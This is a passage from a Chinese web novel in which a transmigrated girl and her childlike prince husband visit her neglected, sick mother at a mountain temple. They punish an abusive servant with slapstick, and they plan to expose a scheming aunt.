司徒砚咽了口口水,走过来蹲下,跟谢元棠平视:“娘子,明天我们要去见你娘亲,我……我有点紧张,有点害怕,她会喜欢我吗?”
说罢,他又低了头,声音有几分落寞:“以前没有人喜欢我的,要是你娘亲不喜欢我,娘子你千万别为了我跟她吵架,只要偷偷告诉我该怎么做就好了,我会很努力很努力,很努力的让她喜欢我的!”
他认真地看着她,桃花眼中清澈一片,比末世的天潭无菌水还要纯净。
谢元棠凝视着那双全是她的眼睛,笑了笑,抬起手指,轻轻触碰了一下他的眉眼道:“夫君什么也不用做,我保证,娘亲一定会喜欢你的。”
“为什么?”
“因为那是我的娘亲啊!”
因为那是我的娘亲,那是世界上最伟大的爱,她喜爱我,所以必定也会喜爱我身边的人。
没有道理,却无懈可击。
司徒砚似懂非懂地眨眨眼,谢元棠开玩笑道:“要是娘亲真不喜欢你,夫君你就像现在这样,盯着她一直看,她就会喜欢你啦!”
“这么简单吗?”
美丽的桃花眼一亮,再一弯,司徒砚重重点头:“我记住啦!”
谁不喜欢他,他就看谁!
看到对方喜欢他为止!
谢元棠还不知道她随口一句胡诌,日后会造成多大的后果。
第50章 娘亲!
次日一早,两辆马车从皇子府缓缓出发。
除了他们自己坐的,谢元棠还让白芙和言枫单独驾了一辆马车。
上面从衣服被褥到药材补品,应有尽有。
她这次去就做了两手准备,如果冷蕴菀愿意随她回来自然最好,若不愿意,那这些东西也够她暂时使用。
谢兆青那个渣爹虽说会派人照顾周全,但那些话,谢元棠能信才有鬼了!
“娘子,我们什么时候能到迷云山啊?”
这还是司徒砚第一次出门,他一边好奇地撩开帘子往外看,一边问道。
谢元棠想着距离,估算道:“我昨天问过舅舅,舅舅说骑小乖的话,大概一个时辰就到了,咱们是马车,又走得慢,加上还要爬山……大概两个时辰吧。”
谢元棠见他一直看着外面,也好奇地凑过来瞧:“你在看什么?”
司徒砚蹙着眉,摇摇头道:“不知道,总感觉有点眼熟。”
“眼熟?”谢元棠微微睁大了眼,“你不是没来过吗,怎么会眼熟?”
“不知道。”司徒砚抬手敲敲脑袋,懊恼道,“想不起来。”
“好了好了,想不起来就不要想。”谢元棠拉下他的手,心里却是有点犯嘀咕。
司徒砚的身体状况有些复杂,穿越过来的第一晚,她就将他体内的毒素暂时压制住了,这段时间更是时不时的给他喝营养液。
但奇怪的是,她竟发现他体内的毒素十分不稳定,好几次都有冲破压制的势头!
最明显的就是围猎他失踪那次,只是那种势头很快又安静了下来,连她一时也发现不了端倪。
谢元棠心想,这大概还是和司徒砚的“疯病”有关,只是她如今还无从了解详情,没办法对症下药,只要先稳固住他的状况,日后再说。
到迷云山脚下的时候已经快晌午了,五月阳光温煦,山风和畅,谢元棠从车上下来,展开双臂忍不住大口深呼吸。
只有经历过末世的人才知道大自然的魅力!
“皇子妃,这些东西我们搬上去吗?”白芙走过来问。
谢元棠摇了摇头:“先不搬,罗吉在下面等会儿,等我上去看看。”
要是冷蕴菀愿意跟她离开,那直接就带人走了,还要什么东西。
谢元棠卷起袖子,双手叉腰,鼓起气势道:“好了!开始爬山!”
藕节似的胳膊往腰上一叉,看起来又搞怪又滑稽,白芙捂住唇轻笑道:“皇子妃身子弱,要不还是奴婢背着您,或者让他们用轿子抬您上去吧。”
“不用,我自己能行……”
谢元棠话还没说完,就看见司徒砚在她面前蹲了下来:“我背娘子!”
他倒是牢记自己人形坐骑的身份,随时都准备好,不是抱着,就是背着。
谢元棠好笑地拉起他道:“我还想自己走一会儿呢,等我走不动了你再背我好伐?”
司徒砚犹豫了下,看看她又短又细的小腿。
谢元棠:“……”
明明他什么都没说,却又好像什么都说了。
谢元棠抬手就朝他捶过去:“司徒砚!你刚才是不是在心里说我腿短?”
司徒砚:“……没有。”
“骗人!我看出来了!你别跑!”
“我没跑,我是用走的。”
“……司!徒!砚!你今天死定了!”
看着两人一前一后的身影,还有山道上回荡着的笑声,白芙习以为常,言枫却愣了很久。
见他站着没走,白芙疑惑地问:“怎么了?”
言枫语气复杂地温:“他们……一直这样开心吗?”
白芙眉尾微动,微笑道:“是啊,一直都如此,不止殿下,整个皇子府都因为小皇妃的到来而多了许多欢声笑语呢。”
言枫怔怔看着跑远的身影,喃喃道:“我还以为……”
白芙若有所思地看了他一眼,昨日的事情谢元棠虽然没有追究,但她久在宫中,很多事自然看得明白。
言枫和言墨对谢元棠心有防备,这不是第一天的事,早在围猎时白芙便看出来了。
如今见言枫如此,她想了想开口道:“小皇妃是殿下的福星,这是连陛下和言太傅都认可的。自从殿下遇见小皇妃以来,每一天都比昨日成长得更多。”
话音一顿,白芙笑着道:“如今如果没有人提及,谁还能看出他是从前那个痴傻五皇子?”
言枫目光复
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杂,绷紧了唇没说话,白芙摇摇头道:“我言至于此,你如果真为殿下好,就别做些惹人不快的蠢事
。”
说完她不再理言枫独自去追谢元棠他们。
言枫轻轻叹了口气低喃道:“可是他也是这样想的吗……”
一刻钟后谢元棠气喘吁吁地趴在司徒砚宽阔地肩上小胳膊环着他的脖子道:“我跟你说十年以后我的腿一定比你长!”
司徒砚歪了歪头呼吸平缓语气认真:“御医说我还会长高的。”
谢元棠:“……”
她毫不客气地伸出手指头捏着司徒砚的俊脸:“你今天很能说啊!”
这会儿倒是不嘴笨了!
越往上走气温越低沿途的山路还有积雪。
谢元棠披上了白芙给她准备的锦裘都仍觉得冷可想而知冷蕴菀在这里过得是怎样的日子。
好不容易到了华觉寺有几个小沙弥守在门口看见谢元棠和司徒砚的时候眼神有些意外尤其在看见司徒砚的时候更是停留了好几秒。
谢元棠没注意这些她急着问:“冷蕴菀住在哪里?”
小沙弥一听这话顿时皱起眉头警惕地看着两人:“这里没有这号人你们是何人?”
身后言枫上前道:“我们是五皇子府这是我们殿下和皇子妃我们皇子妃乃是丞相嫡女丞相夫人的女儿难道来看自己的母亲也不行吗?”
小沙弥似乎被他的话震慑住连忙让开道:“请随贫僧来。”
谢元棠目光微动这华觉寺小沙弥也太古怪了些。
方才他看似是被言枫的话吓住的但谢元棠却觉得……
他是被言枫吓住的!
只是此刻她只想见冷蕴菀旁的暂且都顾不上。
跟着小沙弥来到华觉寺后面的住处谢元棠老远就看见有两个打扫的丫鬟顿时拉着司徒砚跑了过去。
“真是晦气!你闻见那药渣了?恶心死我了!”
“可不是大冷天的非要连累咱们来这里受罪她怎么还不死!”
两个丫鬟正说着忽然看见谢元棠略过他们直接进了房间不由惊呆:
“喂
谢元棠一把撩开帘子同一时间床榻上听见声音的女人转过了头。
第51章 娘身子不好,受不了这种刺激!
这是一间幽斥着苦药味的屋子。
在积雪未化,温如寒冬的山上,没有木炭,没有暖炉,甚至没有阳光。
靠在床榻上的女子,就那样安静温婉地坐在那里。
身上的衣服不足让她微寒,她的脸颊冻得虚白无色,整个人因长期病痛折磨而显得清瘦柔弱。
好像一颗没有根系的浮萍,连那双美丽的杏眸都失去了该有的光彩,黯淡而哀伤。
在看见她的瞬间,谢元棠就觉得心脏好似被狠狠揪扯了一下。
但下一瞬,那双杏眸却在看见她的瞬间,死灰的底色蓦地亮了一些:
“棠儿!”
冷蕴菀不可置信地看着出现在她面前的人儿,她心心念念的女儿,竟真的见着了!
“棠儿,娘是做梦了吗?还是我快死了,老天怜悯我,才让我看见我的女儿……”
冷蕴菀不敢置信地看着谢元棠的身影,想要下榻走近些,可她本就虚弱,瘦削的手指才刚刚扶着床柱站起,便又失力跌了回去。
谢元棠急忙跑过去,小手扶住她:“娘亲当心!”
“棠儿,真的是你,你怎么会来这里……”
话没说完,冷蕴菀一抬头看见谢元棠脸上未痊愈的鞭伤,目光顿时僵住了:“棠儿你的脸……”
她伸出手,心疼地想要触碰,却又在快要碰到时瑟缩收回,生怕弄疼了她:“怎么会这样,谁敢伤害我的女儿!”
谢元棠看着眼前这位美丽又可怜的娘亲,她眼中的心疼不是作伪,断线的眼泪和颤抖的指尖更不是演戏。小原主生前最在意的娘亲,终究也是在意她的,可惜一个惨死,一个从头到尾都被蒙在鼓里。
若非谢元棠穿越而来,只怕冷蕴菀到死都会以为她的女儿被谢兆青照顾得很好。
谢元棠摸了下自己脸上的鞭痕,她一直留着没有消去,为的便是今日了。
有些事讲千万遍,不如让她亲眼看一遍。
谢兆青是个什么混蛋,她这张脸摆在这里,足够冷蕴菀看个清楚明白了。
想到这里,谢元棠眼珠子一转,樱红的小嘴一瘪,“哇”一声就哭了出来:
“娘亲呜呜呜……棠棠好想娘亲啊呜呜呜……”
浓密的眼睫眨了眨,豆大的泪珠就掉了下来
。
小小的一只扑到冷蕴菀怀里,哭得伤心极了。
院子里,听见谢元棠哭声的言枫和白芙都是一惊,言枫小声嘟囔:“刚才还笑呢,怎么说哭就哭了?”
司徒砚握紧了拳,转头瞪向被言枫押住的两个丫鬟:“一定是你们欺负了娘子,所以她才哭的!”
俩丫鬟:“……”她们这才头一遭见人,上哪儿欺负去!
其中高个子丫鬟大着胆子道:“我们都不认识她!刚才才瞧见她进去,连长什么样都没看清,怎么就欺负了?”
司徒砚气哼哼:“那就是你们以前欺负过她!”
矮个子丫鬟:“我们不是丞相府的,是跟着谢娘子来的。”
司徒砚龇牙,举起拳头:“那就是你们欺负了娘子的娘!娘子看见娘子的娘过得不好,所以心疼哭了!”
众人:“……”
这一通“娘子”和“娘子的娘”绕的,得亏您能说得明白。
屋子里,冷蕴菀抱紧怀里的女儿,心疼坏了,又是哄又是着急的:“棠儿不怕,娘会保护你的,有娘在呢,但是……你先告诉娘发生什么事了好不好?”
“你爹呢?是你一个人来的,还是他也来了?”
谢元棠呜咽地哭着,实则靠在冷蕴菀怀里,不着痕迹地握着她手腕在给她把脉。
等对她的身体状况有了大致的了解,才抬起头,可怜兮兮的小哭包瘪着小嘴,糯糯道:“娘,就是爹欺负我,爹是坏蛋!”
“什么?”
冷蕴菀忽地一僵。
正这时,门口的帘子再度被掀开,司徒砚一身紫衣雍容华贵,迈步进来。
“娘子,不要哭了,我让言枫打她们!”
冷蕴菀看着突然闯进来的男子,先是一惊:“你,你是谁?”
等反应过来他的话后,更是惊吓过度:“你叫谁娘子?棠儿,他他他……”
她转头看向谢元棠,这才注意到女儿身上的同色系紫衣。
谢元棠微笑着介绍:“娘,他叫司徒砚,是我的夫君。”<
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“夫……君?!!!”
冷蕴菀差点一口气没提上来:“你才九岁!这怎么可能?”
“你爹……姓谢的,他都干了什么好事!”
刚问完,
她才后知后觉想起“司徒砚”这个名字似乎有些耳熟。
她转头看向呆在那里跟个呆鹅似的过分美丽又过分乖愣的男子蓦地意识到了眼前这人是谁。
“司徒砚……你你是五皇子!”
“是啊我是司徒砚和五皇子。”
司徒砚眨眨眼觉得这回答好像有哪儿不对但一时没想出来。
“噗~”
谢元棠被他这话逗笑捂着小嘴道:“不是司徒砚和五皇子是五皇子司徒砚你是一个人怎么能用‘和’呢?”
“啊我就说有点怪怪的娘子懂得真多!”
司徒砚憨笑着挠挠头看向冷蕴菀道:“那我重说。”
冷蕴菀脸都绿了:“……不用……”
“我不是司徒砚和五皇子是五皇子司徒砚。”
不等冷蕴菀拒绝司徒砚就重新自我介绍了一遍还双手作揖给冷蕴菀行了个九十度大礼乖巧道:
“小婿拜见岳母您是娘子的娘那以后就也是我的娘了!”
冷蕴菀:“……”
看着躬身给她鞠躬的半大女婿久病床榻的冷蕴菀当即倒吸了口凉气差点就地升天!
她转头看向女儿脑袋里满是问号:“棠儿娘身子不好受不了这种刺激!”
“你快告诉娘
原本虚弱苍白的脸色此刻倒是因为一连串的刺激而有了血色连说话的声音都比方才大了许多。
司徒砚看着气呼呼的岳母俊脸微僵。
完球!
岳母生气了!
他心中警铃大作只剩下一个声音回荡——岳母真的不喜欢他!
这个时候该怎么办他记得娘子教过他……
蓦地桃花眼微微一闪。
想到了!
看了眼快被气炸的岳母司徒砚犹豫着小心翼翼地挪到谢元棠身边站定。
然后——
盯着冷蕴菀看!
冷蕴菀:“……”
第52章 踹了谢渣渣,拥抱他他他!
看什么看!
长得好看又怎么样?五皇子又怎么样?
冷蕴菀狠狠地剜他一眼。
司徒砚眼睛一亮,内心os:岳母理我了!娘子教得真管用!
继续盯!
冷蕴菀:“……”
谢元棠是从冷蕴菀愈加古怪的表情,才后知后觉发现自家的傻夫君做了什么傻事的。
她憋着笑拉了拉司徒砚的手指道:“夫君,你先出去,跟白芙说准备一些木炭来,再让人将咱们的被褥拿过来换上,我跟娘亲说说话,待会儿再找你玩儿。”
司徒砚还没“拿下”岳母,有些不想走。
要是走了,下次不就又得重头开始盯了?
“我不能留下吗?”
“我保证不说话,捂着耳朵不听。”
谢元棠:“……”
是啊,你不听不说,你只看!
她好声好气哄走司徒砚,一回头就看见冷蕴菀阴沉的脸色。
“是你爹让你嫁给五皇子的?”
谢元棠摇摇头,回想起记忆中原主死前的一幕,抿唇道:“不是嫁,是冲喜。”
冲喜两个字,让冷蕴菀骤然握紧了拳头,咬牙道:“他竟然敢……咳咳咳咳……”
“娘仔细身子。”谢元棠挪过来帮她拍着背,冷蕴菀却顾不得这些,颤着手拉住她,哽咽道,“说,棠儿,把所有的事都告诉娘。”
她要知道,谢家到底瞒着她,对她的女儿做了什么!
谢元棠点点头,将谢家逼迫她给司徒砚冲喜,如何鞭打她,如何给她下毒的事都说了。
“……幸亏我命大,没有被毒哑,而且夫君也活了过来,不然棠棠就见不到娘亲你了。”
冷蕴菀听完她的话,心疼得不能自已,抱紧了女儿,眼泪一滴滴往下落:“对不起棠儿,都是娘不好,娘对不起你,让你受这么多委屈……”
末世的谢元棠是个孤儿,此刻母亲温暖的怀抱让她不自觉有些依恋,毛茸茸的小脑袋拱了拱,闷声道:“娘亲不哭,都过去了,以后就由棠棠来照顾娘亲。”
她会代替原主,照顾好冷蕴菀,做一个好女儿。
过了许久,冷蕴菀才冷静下来。
她细细问了谢元棠的身体和近况,谢元棠都一一答了
。
当知道女儿如今过得还不错,司徒砚也确实很照顾她时,冷蕴菀才松了口气。
谢元棠观察着她的神色,试探着问:“娘,你还喜欢谢兆青吗?非他不可吗?”
冷蕴菀怔了怔,扯了下嘴角:“棠儿到底长大了,竟也问起娘来了。”
谢元棠没笑,只静静地看着她。
面对女儿执着的目光,冷蕴菀叹了口气,摇摇头道:“曾经是很喜欢的,但这么多年,我又何尝不知他早就……”
“夫妻情谊早就磋磨得烟消云散了,如今不过是一个丞相夫人的名头还跟着我罢了。”
谢元棠要的就是她这句话!
听到冷蕴菀对谢兆青没有什么眷恋,谢元棠顿时大大地呼了口气!
白玉似的小手大力地一拍大腿,豪气十足:“就是嘛!两条腿的蛤蟆不好找,三条腿的男人还不满大街都是!”
冷蕴菀被女儿这过于接地气的话给震惊到,又是好笑又是无奈:“棠儿,女孩子不可以说这样的话……”
“本来就是嘛!”
谢元棠嫌弃地瘪瘪嘴:“娘亲你这么美,全天下男人都挑得,干吗非挑一颗歪瓜裂枣?”
“图啥嘞?”
“图他年纪大?图他不洗澡?”
冷蕴菀:“……”
被女儿的伶牙俐齿噎得无话可说,尤其想到谢兆青似乎真的……洗澡不怎么勤快。
冷蕴菀心里那点对婚姻的哀怨顿时就消散了一大半!
谢元棠抓紧时间给她洗脑:“娘亲你就听我的,踹了谢渣渣,拥抱他他他!”
“噗!”
被女儿的话逗笑,冷蕴菀伸出手指轻轻点了点她的小鼻梁:“从哪儿学的这么能说会道?还怪押韵的。”
谢元棠俏皮地吐了吐舌头,抱着她胳膊软软地撒娇:“哎呀娘呀~棠棠跟你说正经的呢,你怎么还笑人家?”
正经的?
冷蕴菀好笑地眼泪都出来了,摆摆手笑道:“小嘴净胡说,谁家好人正经的说这个?”
还他他他的,哪有那么多他给她拥抱?
“哪不正经了?”
谢元棠不服了:“深情执着霸总系,高岭之花禁欲系,老实疼人糙汉系,还有年下小狼狗,听话小奶狗,极品
小骚……
“停停停!
听着她越来越不像话的词汇,冷蕴菀急忙伸手捂住她嘴巴:“越说越不像话了。
什
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么小狼狗小奶狗的,简直……
让人一听入心,记忆深刻,想忘都忘不掉!
大家闺秀冷蕴菀,生平第一次觉得,知识以一种很卑鄙的方式挤进了她的脑袋!
就在这时,司徒砚再次撩帘子进来。
“娘子,外面有人来了,好凶的样子……
他身形瘦削高挑,往那儿一站分明是风流倜傥,但那双多情的桃花眼却偏生清澈又乖巧,眼巴巴地望着谢元棠。
好似一只在等主人下命令的大狗狗。
冷蕴菀一瞬间似乎幻视了,觉得他身后有条蓬松的大尾巴在那里摇啊晃的。
听话小奶狗……
这个词一瞬间浮现在眼前,冷蕴菀一时间看着司徒砚的眼神又复杂又诡异。
司徒砚:?
!!!
岳母还在生他气!
怎么办怎么办?
他是出去,还是留下来继续盯着她看啊?
司徒砚着急地看向谢元棠,只是还来不及寻得她的“指导
“什么五皇子六皇子的?你要是皇子府的人,姑奶奶就是皇太后了!
一道尖酸刻薄的声音传来,骂骂咧咧道:“赶紧滚,这可是我们谢娘子的地方,再不走老婆子就喊人打断你们的腿!
谢元棠眯了眯眼,转头看向面色黯淡下来的冷蕴菀:“娘亲,谢娘子?莫不是……
“嗯,是你姑姑谢雪瑶。
冷蕴菀叹了口气,自嘲一笑道:“雪瑶她前些日子说过来陪我住,我还以为她是向着我这个嫂子,如今想来,她更像是你爹派来监视我的罢了。
“外头那个就是她的心腹嬷嬷周翠,我这里……都是她做主安排的。
冷蕴菀话说得委婉,谢元棠确实立刻听懂了。
合着让她娘亲住这种冷屋子的人就是外头那死老太婆?
“哎哟喂!没天理啦,你个年轻后生竟然敢对我一个老婆子动手啦!
院子里又想起周翠的撒泼声,想来是言枫动了手。
谢元棠冷笑一声站了起来。
冷蕴菀愣了下:“棠儿,你做什么去?
谢元棠甜甜一笑,舌尖舔了舔下唇:“娘亲别担心,周翠照顾娘亲这么辛苦,棠棠可不得给她吃点好的嘛!
随身研究室里,众丧尸齐齐打了个寒颤!
众所周知,大佬棠的“吃点好的,就是断头饭的前奏!
第53章 娘子,给你道具,干它!
给周翠吃点好的?
冷蕴菀自然不知道谢元棠这句话的潜台词,只当女儿是以德报怨,真心的想要感谢周翠,送她一些好吃的。
看着女儿单纯的笑靥,冷蕴菀又是欣慰又是担忧地叹了口气。
宝贝女儿好善良!
但就是太善良了,这在皇室那种地方不得被吃得死死的?
尤其她嫁的还是司徒砚……
冷蕴菀看了眼司徒砚,对方正睁着桃花眼一眨不眨地盯着她!
冷蕴菀:“……”
哎,更愁人了!
有这么一个丈夫,还是皇室那种背景,还有谢家……
她就这么一个亲亲女儿,落在那样的龙潭虎穴,还不被啃得骨头渣都不剩!
不行!
她还不能死,她得多活几年才能保护好女儿!
一度已经看淡生死,不再操心的冷蕴菀,此刻忽然被唤醒了斗志!
她女儿这么天真单纯善良可爱美好……(此处省略三十七个形容词),谁也别想欺负她!
冷蕴菀握紧了拳头。
那口一直半吊着快散的气硬生生提了起来!
“棠儿,你等一下。”
谢元棠正要出门,又被冷蕴菀拉了回来。
冷蕴菀拉住女儿的小手,忧心忡忡地叮嘱:“娘知道我的宝贝心地善良,可周翠那个死老……咳,那老妇,实在不值得你对她好。”
嗯?
冷蕴菀话咽回得快,但谢元棠耳朵多尖啊!
小棠棠眨眨眼:“娘,你刚才是想叫她‘死老太婆’吗?”
冷蕴菀:“……没,没有。”
冷蕴菀心虚地结巴。
只是那双杏眸心虚地乱飘,脸颊微微泛红,一看就是不会撒谎的人。
谢元棠笑了。
漂亮娘亲好可爱!她更喜欢这个娘亲了!
“娘亲别担心,其实吧……”
谢元棠摸摸鼻子,有点尴尬,一旁的司徒砚走到门口看了眼,回过头催促:“娘子快一点,再不出去没架可干啦!”
冷蕴菀一脸懵逼:啥架?干啥?
谢元棠着急干架,于是扶着冷蕴菀坐回床榻:“娘就安心吧,棠棠保证会让那老不死的吃个够饱,连她棺材本一块儿吞进去!”
说罢就着急忙慌拽着司徒砚跑出去了。
独留漂亮娘亲空中凌乱。
天爷乖乖诶!
她继幻视之后又幻听了吗?
怎么好像听见她傻里傻气的女婿说要去“干架”,而单纯无邪的女儿好像骂了一句“老不死的”?
定然是她听错了!
冷蕴菀自我安慰着,扶着床站起身,走到窗口想看个究竟。
刚走到窗前,就看见她那娇气可爱的女儿撸起了袖子。
雄赳赳气昂昂的,跟只小斗鸡似的冲在最前头!
“让让让让,干架怎么能少了我!”
傻女婿跟在后面,不知道从哪儿捡的扫把:“娘子,给你道具,干它!”
冷蕴菀:“……”
这怎么跟她想象得不一样?
说好的柔弱无力的女儿呢?呆板懦弱的女婿呢?
怎么战斗力这么强!
“啵!”
冷蕴菀想象中的纯白泡泡当场破裂,她呆呆地看着院子里的小身影,脑子里正在快速地重塑三观!
院子里。
谢元棠还没走到跟前,就听见周翠在那里骂街。
“夭寿啊!天杀的你个小崽子竟然对我一个老婆子动手,你不怕谢丞相诛你九族吗?”
“夫人呐您出来看看啊,老婆子要被他们打死了啊!”
言枫站在一旁,气得娃娃脸通红:“你,你怎么胡说八道!”
他其实就只是将这老刁奴按跪在那里而已,结果周翠直接一屁股坐在地上开始撒泼。
言枫身手是好,奈何嘴笨,白芙正想拿东西堵住她的嘴,就看见谢元棠他们出来,索性站着没有再动。
看见谢元棠和司徒砚,周翠眼睛一亮,伸出手指指着就骂:“你们是哪家不长眼的,仔细我家谢娘子扒了你们的皮……唔唔唔!”
没等她话音落地,谢元棠就接过司徒砚递过来的扫帚,一帚就怼在她的大脸上!
“这么脏的嘴,可得好好扫扫!”
谢元棠小胳膊抱紧了扫帚,笑
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嘻嘻地道:“言枫,按住她!”
言枫憋屈这么久,听谢元棠这么一说,顿时上前一步,抬脚踩住周翠的肩膀,保证她挪不动半步!
“祖宗我最尊老爱幼了,今儿就
给你来个大扫除!”
谢元棠嘴角一勾活动了下脖子道:“来来来!我洗唰唰洗唰唰……”
众人目瞪口呆地看着谢元棠抱着个没比她矮多少的扫帚对着周翠那张泼皮老脸上扫扫下扫扫左脸扇扇右脸扇扇!
而在灰烬飞扬中周翠还在那儿竭力地说话只是她的语调变成了如下:
“小畜生唔唔唔……呕!”
“丞相不会放过你们……咳咳呸!”
“来人啊救……呕~tui!”
直到周翠呜咽哭着再也不敢骂半个字
一旁白芙拿出浸湿的帕子:“皇子妃擦擦脸。”
“我来。”
司徒砚接过帕子蹲在谢元棠跟前认真地帮她擦着小脸和小手上的灰尘。
屋子里看见这一幕的冷蕴菀微微怔愣了一瞬看着司徒砚的目光缓和了许多。
等谢元棠擦干净另一边言枫也已经将周翠以及另外两个丫鬟给绑了过来。
“皇子妃这几个人怎么说?”
谢元棠想了想:“带进屋子里我和娘亲一起审问。”
冷蕴菀明显被谢家隔绝太久了她得让她亲眼看清楚谢家都是些什么东西。
洗脑就要洗彻底今天她就将冷蕴菀对谢兆青的那点恋爱脑给断干净了省得以后再复发!
“言枫守着门口不管谁擅闯都直接拿下。”
“白芙姐姐去将汤婆子拿来还有备些热茶。”
谢元棠一一吩咐下白芙笑着应道:“刚才就拿来了奴婢这就给送进去。”
谢元棠点点头跟司徒砚带着三个下人进屋。
刚走进去周翠就扑倒在地哭嚎:“夫人呐~您就眼睁睁看着奴婢受人欺辱吗?等我们谢娘子回来您有何颜面跟她交代?”
冷蕴菀冷眼看着她闻言目光骤寒。
“交代?”
她冷冷一笑走上前抬手一耳光打在周翠脸上!
“这就是交代!”
第55章 夫君的破绽还真不是一般多!
安静的房间里,就只有谢元棠樱红的小嘴嘚吧嘚:“到时候娘亲你就负责……然后我再……”
冷蕴菀神色逐渐古怪起来。
谢元棠:“最后高潮结尾,在大家的掌声中欢送有情人,打包下山,滚粗不见!完美欧耶~”
谢元棠毛茸茸的小脑袋一歪,古灵精怪地比了个yeah。
“欧耶!”司徒砚不知道何时凑过来,也跟着比了个手势,“这个好玩!娘子,我也要捉奸!”
冷蕴菀:“……”
看来她三观重塑得还不够彻底。
不过话又说回来,谁不想报仇,谁不爱狗血呢!
至少她那点伤感是一点没有了,反而还隐隐开始期待起来!
谢元棠笑盈盈看着娘亲:“娘觉得怎么样?”
冷蕴菀想了想,温婉开口:“只有咱们几个鼓掌是不是有点不够响?”
谢元棠:?
冷蕴菀轻声提议:“我听说今日寺里有请愿活动,下午应当会有不少百姓前来。”
谢元棠:!
黑亮的大眼睛兴奋地眨了眨,谢元棠小手拍着胸脯:“交给我办!我去请观众!”
“我也去我也去!”司徒砚在旁边跟着拍胸脯。
看着一大一小两个活宝,冷蕴菀再多的哀伤都消失无踪了。
拿着绢帕的纤手轻掩红唇,浅笑莞尔,仿若新生。
谢元棠看着她,小酒窝甜糯糯的:“娘亲笑起来真美!娘以后天天这么笑,气死谢兆青,再给棠棠找几个新爹!”
冷蕴菀羞红了脸,还找“几个”新爹,这是让她左拥右抱吗?
绢帕盖住女儿的小嘴,轻斥道:“不许胡说,别人会笑话你的。”
“我管他们,娘不笑话我就好啦~”
谢元棠吐了吐舌头,笑嘻嘻地拱在娘亲怀里撒娇。
冷蕴菀身子到底不好,谢元棠陪她吃过中饭,等她睡下,便让白芙和言枫留下守着,她和司徒砚则去寺里“踩点”。
华觉寺说大不大,说小不小。
谢元棠拉着司徒砚从后面住宿的厢房绕过一排松木林,才到了华觉寺前面最大的几个佛殿。
“娘子,走这里会近一点。”
谢元棠正想走宽敞的大道,不想司徒
砚忽然拉住她,指着佛殿旁边的巷弄道:“这里可以通过去。
两人从巷弄穿过来,果然直通前殿。
谢元棠狐疑地打量司徒砚:“你怎么知道的?
他又没来过,那巷弄又偏僻,连她都不确定,他怎么知道能走?
司徒砚愣了下,皱眉想了想,摇头:“不知道,就感觉能走。
谢元棠眯了眯眼,先是言枫表现奇怪,又是司徒砚……
看来这个华觉寺,似乎没有她想的那么简单呢。
知道司徒砚很多时候说不清自己的记忆,谢元棠也没多问,只揪着他一缕长长的墨发轻轻扯了扯,叹了口气道:“傻夫君……
司徒砚小声嘟囔:“不傻。
谢元棠笑笑,两人说话间走进大佛殿,这会儿人还不多,显得佛殿过于空旷安静。
高座的佛像慈目低垂,怜悯世人。
谢元棠站在旁边,看着跪在那里请愿的人进进出出,没有注意到角落里解签的僧人在看见司徒砚的一瞬间,表情有多凝固震惊。
从大佛殿出来,谢元棠又找了个僧人,随口问道:
“师父,请问你们这里有个叫韦羊的僧人吗?
“哦哦,原来他是舍监啊,住在树林旁边的木屋里?哦,知道啦,谢谢小师父。
“大师,这是我和夫君捐的香油钱,下午的请愿活动?是呢,我们也参加,谢谢大师。
谢元棠长得可爱,嘴又甜,问的又不是什么大事,不一会儿就轻易套出了想知道的事情。
回去的时候谢元棠有点累了,她今天又是坐马车又是爬山的,小身子受不住,闭着眼睛连打哈欠。
刚打完,一睁眼就看见面前蹲了个人形坐骑。
“娘子上来。
谢元棠大眼睛弯成月牙,笑着“诶嘿一声,不客气地扑上去,伸出小胳膊勒住司徒砚的脖子:“夫君,你真好~
司徒砚轻松地背起她,憨笑着道:
“嗯,娘子说我好,我肯定是真的好!
谢元棠“噗一声笑出来,戳他的头发:“夫君,你真的一点都不累吗?
“不累啊。司徒砚摇摇头,“我只有生病的时候会累。
谢元棠又问:“言枫会武功,那夫
君你会不会?言枫不教你一点吗?舅舅没找人教过你?
司徒砚再次摇头:“我不能学武功的,御医说我学了会死的。
谢元棠眉心微蹙,她不觉得司徒砚会
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骗她,以他的身体状况,一旦剧烈运动,定然会毒发身亡,如今能维持得这么平稳,全靠她封住了他体内的毒,还有那一瓶瓶营养液不要钱地给他灌。
可如果他真的一点武功都不会,怎么可能背着她爬山还能气都不喘一下?
以前谢元棠没多想,如今想来,她这个傻夫君,身上的破绽和疑点还真不是一般的多。
“师父,他们回了。
大佛殿后面的银松下,小沙弥小声道。
“嗯。
佝偻的僧人点了点头,有些沧桑的声音轻轻叹息:“我还以为来的人是他,真没想到……看来我有必要见他一面了。
“师父,那个韦羊……
“不必多管,随他们去。
顿了顿,沧桑的声音又补充道:“能帮的便帮一把。
“是。
——
谢元棠和司徒砚回去后没多久,冷蕴菀就醒了过来。
谢元棠便陪着她说话,白芙领着那两个小丫鬟将房间又收拾了一遍,全新的银炭将屋子烘得暖洋洋的,冷蕴菀的脸色也不再那么苍白了。
坐了半个时辰,白芙便进来道:“皇子妃,谢雪瑶来了。
谢元棠眼睛一亮:“总算来了!
她布置了这么一番,可不就在等这位“女主角登场了么!
谢雪瑶来的时候还没觉得有什么,毕竟周翠已经被言枫绑了起来,门口的俩小丫鬟,在谢元棠的“粪量威胁下,早就规规矩矩了。
这会儿两人被谢元棠重聘回来当演员。
于是谢雪瑶一走进来,便看见演员一号和演员二号站在院子里,跟往常一样在那儿抱怨。
“真烦人,什么时候还能回去?我不想再住在这里了。
“就是,又冷又受罪的。
谢雪瑶走近,轻斥两人一句:“怎么做事的?怎么不进去伺候?
俩丫鬟连忙站起来,低头恭敬:“谢娘子。
谢雪瑶也就做做样子斥一句,当下挥挥手道:“下去吧,让周嬷嬷送汤药过来,嫂子该喝药了。
俩丫鬟:“……
还喝呢,周嬷嬷都快喝粪了!
谢雪瑶没注意两人的异样,掀开帘子,趾高气昂地走了进去。
“嫂子……
“哗啦!
一盆洗脚水从天而降,浇在谢雪瑶的脸上!
谢雪瑶:“……嗝!
第57章 冷家送信来!
吩咐完几人,谢元棠和司徒砚便搀扶着冷蕴菀往小树林走去。
“娘亲还好吗?”谢元棠扶着冷蕴菀的胳膊,关切地问:“累不累?”
冷蕴菀笑着摇摇头:“不累。”
一旁的司徒砚:“我可以背你们俩。”
冷蕴菀:“……不用。”你当叠罗汉呢,还背俩!
“棠棠本来想让娘亲休息,但是……”
谢元棠眨眨眼,笑着道:“这么有趣的事儿,娘亲不参演一下多可惜呀!”
冷蕴菀抬手点点她粉红的小鼻尖,浅笑道:“小鬼灵精,就算你不让,娘也会来的。”
“棠儿才九岁,娘亲怎么可能让你独自面对这种事?”
捉奸这种事,还是她出面更恰当些。
